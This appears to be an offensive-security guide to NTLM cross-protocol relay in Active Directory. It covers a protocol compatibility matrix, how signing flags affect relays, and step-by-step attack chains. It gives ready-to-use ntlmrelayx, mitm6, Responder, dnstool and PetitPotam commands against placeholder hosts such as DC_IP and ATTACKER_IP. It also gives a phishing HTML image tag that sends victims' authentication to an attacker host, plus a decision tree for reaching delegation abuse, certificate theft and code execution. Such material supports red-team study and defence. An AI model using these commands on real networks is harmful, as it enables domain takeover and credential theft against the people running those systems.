Cross-Protocol Relay

Overview

Cross-protocol relay is the ability to capture NTLM authentication on one protocol and relay it to a completely different protocol. This is one of the most powerful aspects of NTLM relay attacks and is the foundation of many high-impact chains.

The Cross-Protocol Matrix

Source Protocol	→ SMB	→ LDAP	→ LDAPS	→ MSSQL	→ HTTP	→ ADCS HTTP	→ RPC
SMB	✅*	❌†	❌†	✅	✅	❌†	✅
HTTP	✅*	✅	✅‡	✅	✅	✅	✅
WebDAV	✅*	✅	✅‡	✅	✅	✅	✅
MSSQL	✅*	✅	✅‡	✅	✅	✅	✅
IMAP	✅*	✅	✅‡	✅	✅	✅	✅

* Target must not require SMB signing † Blocked on patched systems — SMB NTLM includes signing flags that LDAP enforces ‡ Only if EPA/Channel Binding is not enforced

Why Source Protocol Matters

The Signing Flag Problem

When NTLM authentication occurs over SMB, the NEGOTIATE message includes flags:

NEGOTIATE_SIGN (0x00000010)
NEGOTIATE_SEAL (0x00000020)
NEGOTIATE_ALWAYS_SIGN (0x00008000)

When this auth is relayed to LDAP, the LDAP server sees these flags and says: "The client wants signing — I'll require it." Since the attacker can't compute the signing key, the session fails.

HTTP-based NTLM does NOT set these flags. This is why HTTP/WebDAV sources can relay to LDAP but SMB sources cannot (on patched systems).

Pre-Patch vs Post-Patch Behavior

Before Microsoft's patches (around 2019):

SMB → LDAP worked by dropping the MIC and modifying NTLM flags
CVE-2019-1040 patch fixed this by enforcing MIC validation

After patches:

SMB → LDAP is effectively dead on patched DCs
HTTP → LDAP remains the standard path

Key Cross-Protocol Chains

HTTP → LDAP (RBCD)

The most common cross-protocol relay:

# ntlmrelayx captures HTTP NTLM, relays to LDAP
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Trigger HTTP auth via:
# - mitm6 (WPAD proxy auth)
# - WebDAV coercion
# - Responder HTTP poisoning

HTTP → ADCS HTTP (ESC8)

# Capture HTTP/WebDAV auth, relay to CA web enrollment
ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp --adcs --template DomainController -smb2support

SMB → MSSQL

Less common but effective:

# Capture SMB auth, relay to SQL Server
ntlmrelayx.py -t mssql://SQL_IP -smb2support -q "SELECT system_user"

SMB → SMB (Same Protocol, Different Host)

Classic relay — capture SMB auth from one host, relay to another:

ntlmrelayx.py -tf nosigning.txt -smb2support

Getting HTTP Authentication

Since HTTP sources are the most versatile, here are the ways to obtain HTTP-based NTLM:

1. mitm6 (WPAD)

mitm6 -d domain.local
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support -wh attacker-wpad

2. WebDAV Coercion

# Add DNS record, then coerce via WebDAV
python3 dnstool.py -u domain\\user -p pass -a add -r evil.domain.local -d ATTACKER_IP DC_IP
python3 PetitPotam.py 'evil.domain.local@80/test' TARGET_IP

3. Responder HTTP Poisoning

# Responder serves HTTP challenges for poisoned names
responder -I eth0 -wFv  # with SMB/HTTP off if using ntlmrelayx

4. HTML/Email Injection

<!-- Include in phishing email or compromised web page -->
<img src="http://ATTACKER_IP/image.jpg">
<!-- Browser sends HTTP NTLM auth to the attacker -->

Practical Decision Tree

What target protocol do you want to relay to?

LDAP/LDAPS (RBCD, shadow creds, DCSync via RBCD):
  └── You MUST use HTTP-sourced auth
      ├── mitm6 + WPAD
      ├── WebDAV coercion
      └── Responder HTTP poisoning

SMB (code exec, SAM dump):
  └── Any source works (SMB or HTTP)
      ├── Responder LLMNR/NBT-NS poisoning → SMB auth
      ├── PrinterBug / PetitPotam → SMB auth
      └── WebDAV coercion → HTTP auth (also works)

ADCS HTTP (ESC8 certificate request):
  └── Use HTTP-sourced auth
      ├── WebDAV coercion (preferred)
      └── mitm6

MSSQL (SQL execution):
  └── Any source works
      ├── SMB coercion
      └── HTTP sources